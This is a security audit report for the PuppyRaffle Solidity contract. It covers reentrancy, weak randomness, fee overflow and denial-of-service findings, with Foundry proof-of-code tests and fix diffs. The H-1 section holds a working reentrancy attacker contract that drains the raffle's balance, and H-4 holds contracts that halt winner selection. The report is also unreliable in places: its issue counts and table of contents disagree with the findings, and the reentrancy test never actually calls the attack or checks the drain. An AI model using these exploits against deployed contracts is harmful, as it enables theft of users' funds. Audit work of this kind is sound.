PuppyRaffle Audit Report

Version 1.0

Cyfrin.io

February 20, 2024

Protocol Audit Report

Eshaa S G

feb 20, 2024

Prepared by: [Eshaa S G] Lead Auditor: - Eshaa S G

Table of Contents

  - [M-1] Iterating through the players array to detect duplicates in `puppyRaffle::enterRaffle` poses a potential denial-of-service (DoS) threat, as it can lead to increased gas costs for subsequent entrants.
  - [M-2] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

- Low
  - [L-1] `PuppyRafffle::getActivePlayerIndex` returns 0 for non-exitent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

- Informational
  - [I-1] Solidity pragma should be specific, not wide
  - [I-2] Using an outdated version of solidity is not reccomended.
  - [I-3] Missing checks for `address(0)` when assigning values to address state variables
  - [I-4] Magic Numbers
  - [I-5] Potentially erroneous active player index
  - [I-6] Zero address may be erroneously considered an active player

- Gas
  - [G-1] Unchanged state variables should be declared constant or immutable.
    * [G-2] Storage variables in a loop should be cached

Protocol Summary

This project is to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The Naomi makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5

Scope

```
./src/
#-- PuppyRaffle.sol
```

Roles

Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function. Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

I loved auditing this codebase.

Issues found

Severity	Number of issues found
High	3
Medium	2
Low	1
Info	6
Gas	2
Total	14

Findings

High

[H-1] Reentrancy attack in `PuppyRaffle::refund` allows entrant to drain contract balance

Description: The `PuppyRaffle::refund` function does not follow CEI/FREI-PI and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address, and only after making that external call, we update the `players` array.

```
function refund(uint256 playerIndex) public {
    address playerAddress = players[playerIndex];
    require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
    require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

@>  payable(msg.sender).sendValue(entranceFee);
@>  players[playerIndex] = address(0);

    emit RaffleRefunded(playerAddress);
```

```
10 }
```

A player who has entered the raffle could have a `fallback`/`receive` function that calls the `PuppyRaffle::refund` function again and claim another refund. They could continue to cycle this until the contract balance is drained.

Impact: All fees paid by raffle entrants could be stolen by the malicious participant.

Proof of Concept:

1. Users enters the raffle.
2. Attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`.
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their contract, draining the contract balance.

Proof of Code:

Code

Add the following code to the `PuppyRaffleTest.t.sol` file.

```
function test_reentrancyRefund() public {
        address[] memory players = new address[](4);
         players[0] = playerOne;
         players[1] = playerTwo;
         players[2] = playerThree;
         players[3] = playerFour;
         puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

         ReentrancyAttacker attackerContract = new ReentrancyAttacker(
            puppyRaffle);
         address attackUser = makeAddr("attackUser");
         vm.deal(attackUser, 1 ether);

         uint256 startingAttackContractBalance = address(
            attackerContract).balance;
         uint256 startingContractBalance = address(puppyRaffle).balance;

         //attacker
         vm.prank(attackUser);
         attackerContract.attack{value: entranceFee};

         console.log("Starting attacker contract balance: ",
            startingAttackContractBalance);
         console.log("Starting contract balance: ",
            startingContractBalance);
     }
```

Add this contract aswell.

```
contract ReentrancyAttacker {
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;

    constructor(PuppyRaffle _puppyRaffle) {
        puppyRaffle = _puppyRaffle;
        entranceFee = _puppyRaffle.entranceFee();
    }

    function attack() external payable {
        address[] memory players = new address[](1);
        players[0] = address(this);
        puppyRaffle.enterRaffle{value: entranceFee}(players);

        attackerIndex = puppyRaffle.getActivePlayerIndex(address(this))
            ;
        puppyRaffle.refund(attackerIndex);
    }

    function _stealMoney() internal {
          if(address(puppyRaffle).balance >= entranceFee) {
            puppyRaffle.refund(attackerIndex);
        }
    }

    fallback() external payable {
        _stealMoney();
        }

    receive() external payable {
         _stealMoney();
    }
}
```

Recommended Mitigation: To fix this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission up as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the
            player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player
            already refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        (bool success,) = msg.sender.call{value: entranceFee}("");
        require(success, "PuppyRaffle: Failed to refund player");
-        players[playerIndex] = address(0);
```

```
10 -         emit RaffleRefunded(playerAddress);
11       }
```

[H-2] Weak randomness in `PuppyRaffle::selectWinner` allows anyone to choose winner

Description: Hashing `msg.sender`, `block.timestamp`, `block.difficulty` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to choose the winner of the raffle themselves.

Impact: Any user can choose the winner of the raffle, winning the money and selecting the "rarest" puppy, essentially making it such that all puppies have the same rarity, since you can choose the puppy.

Proof of Concept:

There are a few attack vectors here.

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that knowledge to predict when / how to participate. See the solidity blog on prevrando here. `block.difficulty` was recently replaced with `prevrandao`.
2. Users can manipulate the `msg.sender` value to result in their index being the winner.

Using on-chain values as a randomness seed is a well-known attack vector in the blockchain space.

Recommended Mitigation: Consider using an cryptographically provavle random number generator for your randomness like Chainlink VRF.

[H-3] Integer overflow of `PuppyRaffle::totalFees` loses fees

Description: In Solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
1 uint64 myVar = type(uint64).max;
2 // myVar will be 18446744073709551615
3 myVar = myVar + 1;
4 // myVar will be 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `withdrawFees`. However, if the `totalFees` variable overflows, the `feeAddress` may not collect the correct amount of fees, leaving fees permanently stuck in the contract.

Proof of Concept: 1. We first conclude a raffle of 4 players to collect some fees. 2. We then have 89 additional players enter a new raffle, and we conclude that raffle as well. 3. `totalFees` will be:

```
totalFees = totalFees + uint64(fee);
// substituted
totalFees = 800000000000000000 + 17800000000000000000;
// due to overflow, the following is now the case
totalFees = 153255926290448384;
```

4. You will now not be able to withdraw, due to this line in `PuppyRaffle::withdrawFees`:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

Although you could use `selfdestruct` to send ETH to this contract in order for the values to match and withdraw the fees, this is clearly not what the protocol is intended to do.

Proof Of Code Place this into the `PuppyRaffleTest.t.sol` file.

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the
            require check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
            active!");
```

```
31          puppyRaffle.withdrawFees();
32      }
```

Recommended Mitigation: There are a few recommended mitigations here.

1. Use a newer version of Solidity that does not allow integer overflows by default.

```
- pragma solidity ^0.7.6;
+ pragma solidity ^0.8.18;
```

Alternatively, if you want to use an older version of Solidity, you can use a library like OpenZeppelin's `SafeMath` to prevent integer overflows.

2. Use a `uint256` instead of a `uint64` for `totalFees`.

```
- uint64 public totalFees = 0;
+ uint256 public totalFees = 0;
```

3. Remove the balance check in `PuppyRaffle::withdrawFees`

```
- require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

We additionally want to bring your attention to another attack vector as a result of this line in a future finding.

[H-4] Malicious winner can forever halt the raffle

Description: Once the winner is chosen, the `selectWinner` function sends the prize to the the corresponding address with an external call to the winner account.

```
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

If the `winner` account were a smart contract that did not implement a payable `fallback` or `receive` function, or these functions were included but reverted, the external call above would fail, and execution of the `selectWinner` function would halt. Therefore, the prize would never be distributed and the raffle would never be able to start a new round.

There's another attack vector that can be used to halt the raffle, leveraging the fact that the `selectWinner` function mints an NFT to the winner using the `_safeMint` function. This function, inherited from the `ERC721` contract, attempts to call the `onERC721Received` hook on the receiver if it is a smart contract. Reverting when the contract does not implement such function.

Therefore, an attacker can register a smart contract in the raffle that does not implement the `onERC721Received` hook expected. This will prevent minting the NFT and will revert the call to `selectWinner`.

Impact: In either case, because it'd be impossible to distribute the prize and start a new round, the raffle would be halted forever.

Proof of Concept:

Proof Of Code Place the following test into `PuppyRaffleTest.t.sol`.

```
function testSelectWinnerDoS() public {
    vm.warp(block.timestamp + duration + 1);
    vm.roll(block.number + 1);

    address[] memory players = new address[](4);
    players[0] = address(new AttackerContract());
    players[1] = address(new AttackerContract());
    players[2] = address(new AttackerContract());
    players[3] = address(new AttackerContract());
    puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

    vm.expectRevert();
    puppyRaffle.selectWinner();
}
```

For example, the `AttackerContract` can be this:

```
contract AttackerContract {
    // Implements a `receive` function that always reverts
    receive() external payable {
        revert();
    }
}
```

Or this:

```
contract AttackerContract {
    // Implements a `receive` function to receive prize, but does not
       implement `onERC721Received` hook to receive the NFT.
    receive() external payable {}
}
```

Recommended Mitigation: Favor pull-payments over push-payments. This means modifying the `selectWinner` function so that the winner account has to claim the prize by calling a function, instead of having the contract automatically send the funds during execution of `selectWinner`.

Medium

[M-1] Iterating through the players array to detect duplicates in `puppyRaffle::enterRaffle` poses a potential denial-of-service (DoS) threat, as it can lead to increased gas costs for subsequent entrants.

Description: The `puppyRaffle::enterRaffle` function iterates through the `players` array to identify duplicates. However, as the `puppyRaffle::players` array lengthens, new entrants face an increasing number of checks. Consequently, the gas costs for players joining at the outset of the raffle will be significantly lower compared to those joining later. Each additional address in the `players` array translates to an extra check that the loop must perform.

```
@>  for (uint256 i = 0; i < players.length - 1; i++) {
        for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```

Impact: The gas costs for raffle entrance will significantly increase as more players join the raffle. This increase could discourage later users from entering, resulting in a rush at the start of a raffle as individuals aim to secure one of the first spots in the queue.

Additionally, an attacker could inflate the `puppyRaffle::entrants` array to such an extent that no further entries are made, effectively guaranteeing themselves the win.

Proof of Concept:

If we have 2 sets of 100 players enter, the gas costs will be as such: - 1st 100 players: 6252048 gas - 2nd 100 players: 18068138 gas

This is more than 3x more expensive for the second 100 players.

PoC Place the following into `puppyRaffleTest.t.sol`

```
function test_denialOfService() public {
      vm.txGasPrice(1);

      // Let's enter 100 players
      uint256 playersNum = 100;
      address[] memory players = new address[](playersNum);
      for(uint256 i = 0; i < playersNum; i++) {
       players[i] = address(i);
      }
      // see how much gas it costs
      uint256 gasStart = gasleft();
```

```
12          puppyRaffle.enterRaffle{value: entranceFee * players.length}(
                players);
13          uint256 gasEnd = gasleft();
14
15          uint256 gasUsedFirst = (gasStart - gasEnd);
16          console.log("Gas cost of the first 100 players: ", gasUsedFirst)
                ;
17
18
19      // For the 2nd 100 players
20       address[] memory playersTwo = new address[](playersNum);
21          for(uint256 i = 0; i < playersNum; i++) {
22           playersTwo[i] = address(i + playersNum);
23          }
24          // see how much gas does it costs?
25          uint256 gasStartSecond = gasleft();
26          puppyRaffle.enterRaffle{value: entranceFee * players.length}(
                playersTwo);
27          uint256 gasEndSecond = gasleft();
28          uint256 gasUsedSecond = (gasStartSecond - gasEndSecond) * tx.
                gasprice;
29          console.log("Gas cost of the second 100 players: ",
                gasUsedSecond);
30
31          assert(gasUsedFirst < gasUsedSecond);
32      }
```

Recommended Mitigation: Here are a few reccomendations.

1. Consider allowing duplicates. Users can create new wallet addresses anyway, so a duplicate check doesn't prevent the same person from entering multiple times; it only prevents multiple entries from the same wallet address.
2. Consider using a mapping to check for duplicates. This would allow constant time lookup of whether a user has already entered

```
1  +     mapping(address => uint256) public addressToRaffleId;
2  +     uint256 public raffleId = 0;
3      .
4      .
5      .
6      function enterRaffle(address[] memory newPlayers) public payable {
7          require(msg.value == entranceFee * newPlayers.length, "
               PuppyRaffle: Must send enough to enter raffle");
8          for (uint256 i = 0; i < newPlayers.length; i++) {
9              players.push(newPlayers[i]);
10 +            addressToRaffleId[newPlayers[i]] = raffleId;
11         }
12
13 -        // Check for duplicates
```

```
14 +        // Check for duplicates only from the new players
15 +        for (uint256 i = 0; i < newPlayers.length; i++) {
16 +           require(addressToRaffleId[newPlayers[i]] != raffleId, "
       PuppyRaffle: Duplicate player");
17 +        }
18 -         for (uint256 i = 0; i < players.length; i++) {
19 -             for (uint256 j = i + 1; j < players.length; j++) {
20 -                 require(players[i] != players[j], "PuppyRaffle:
       Duplicate player");
21 -             }
22 -         }
23          emit RaffleEnter(newPlayers);
24      }
25 .
26 .
27 .
28      function selectWinner() external {
29 +        raffleId = raffleId + 1;
30          require(block.timestamp >= raffleStartTime + raffleDuration, "
               PuppyRaffle: Raffle not over");
31      }
```

Alternatively, you could use OpenZeppelin's `EnumerableSet` library.

[M-2] Smart Contract wallet raffle winners without a `receive` or a `fallback` will block the start of a new contest

Description: The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet that rejects payment, the lottery would not be able to restart.

Non-smart contract wallet users could reenter, but it might cost them a lot of gas due to the duplicate check.

Impact: The `PuppyRaffle::selectWinner` function could revert many times, and make it very difficult to reset the lottery, preventing a new one from starting.

Also, true winners would not be able to get paid out, and someone else would win their money!

Proof of Concept: 1. 10 smart contract wallets enter the lottery without a fallback or receive function. 2. The lottery ends 3. The `selectWinner` function wouldn't work, even though the lottery is over!

Recommended Mitigation: There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended)
2. Create a mapping of addresses -> payout so winners can pull their funds out themselves, putting the owness on the winner to claim their prize. (Recommended)

Low

[L-1] `PuppyRafffle::getActivePlayerIndex` returns 0 for non-exitent players and for players at index 0, causing a player at index 0 to incorrectly think they have not entered the raffle

Description: If a player is in the `PuppyRaffle::players` array at index 0, this will return 0, but according to the natspec, it will also return 0 if the player is not in the array.

```
function getActivePlayerIndex(address player) external view returns (uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact: A player at index 0 may think they have not entered the raffle, and attempt to enter the raffle again, wasting gas.

Proof of Concept:

1. User enters the raffle, they are the first entrant
2. `Puppyraffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly due to the function documentation

Recommended Mitigation: Revert if the player is not in the array instead of returning 0.

You could also reserve the 0th position for any competition, but a better solution might be to return an `int256` where the function returns -1 if the player is not active.

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of Solidity in your contracts instead of wide wide version. For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`.

-Found in src/PuppyRaffle.sol: 32:23:35

[I-2] Using an outdated version of solidity is not reccomended.

solc frequently releases new compiler versions. Using an old version prevents access to new Solidity security checks. Avoiding complex pragma statements is reccomended.

Recommendations: Deploy with any of the following Solidity versions:

`0.8.18` The recommendations take into account:

Risks related to recent releases Risks of complex codengeneration changes Risks of new language features Risks of known bugs Use a simple pragma version that allows any of these versions. Consider using latest version for testing.

[I-3] Missing checks for `address(0)` when assigning values to address state variables

Assigning values to address state variables without checking for `address(0)`.

- Found in src/PuppyRaffle.sol Line: 62

```
1           feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 164

```
1           previousWinner = winner;
```

- Found in src/PuppyRaffle.sol Line: 182

```
1           feeAddress = newFeeAddress;
```

[I-4] Magic Numbers

Description: All number literals should be replaced with constants. This makes the code more readable and easier to maintain. Numbers without context are called “magic numbers”.

Recommended Mitigation: Replace all magic numbers with constants.

```
1  +       uint256 public constant PRIZE_POOL_PERCENTAGE = 80;
2  +       uint256 public constant FEE_PERCENTAGE = 20;
3  +       uint256 public constant TOTAL_PERCENTAGE = 100;
4  .
5  .
6  .
7  -        uint256 prizePool = (totalAmountCollected * 80) / 100;
8  -        uint256 fee = (totalAmountCollected * 20) / 100;
9           uint256 prizePool = (totalAmountCollected *
               PRIZE_POOL_PERCENTAGE) / TOTAL_PERCENTAGE;
```

```
10          uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) /
                TOTAL_PERCENTAGE;
```

[I-5] Potentially erroneous active player index

Description: The `getActivePlayerIndex` function is intended to return zero when the given address is not active. However, it could also return zero for an active address stored in the first slot of the `players` array. This may cause confusions for users querying the function to obtain the index of an active player.

Recommended Mitigation: Return 2**256-1 (or any other sufficiently high number) to signal that the given player is inactive, so as to avoid collision with indices of active players.

[I-6] Zero address may be erroneously considered an active player

Description: The `refund` function removes active players from the `players` array by setting the corresponding slots to zero. This is confirmed by its documentation, stating that "This function will allow there to be blank spots in the array". However, this is not taken into account by the `getActivePlayerIndex` function. If someone calls `getActivePlayerIndex` passing the zero address after there's been a refund, the function will consider the zero address an active player, and return its index in the `players` array.

Recommended Mitigation: Skip zero addresses when iterating the `players` array in the `getActivePlayerIndex`. Do note that this change would mean that the zero address can *never* be an active player. Therefore, it would be best if you also prevented the zero address from being registered as a valid player in the `enterRaffle` function.

Gas

[G-1] Unchanged state variables should be declared constant or immutable.

Reading from storage is much more expensive than reading from a constant or immutable variable.

Instances: -`PuppyRaffle::raffleDuration` should be `immutable` -`PuppyRaffle::commonImageUri` should be `constant` -`PuppyRaffle::rareImageUri` should be `constant`-`PuppyRaffle::legendaryImageUri` should be `constant`

[G-2] Storage variables in a loop should be cached

Everytime you call `players.length` you raed from storage, as opposed to memory which is more gas efficient.

```
+     uint256 playerLength = players.length;
-     for (uint256 i = 0; i < players.length - 1; i++) {
+           for (uint256 j = i + 1; j < players.length; j++) {
                require(players[i] != players[j], "PuppyRaffle:
                    Duplicate player");
            }
        }
```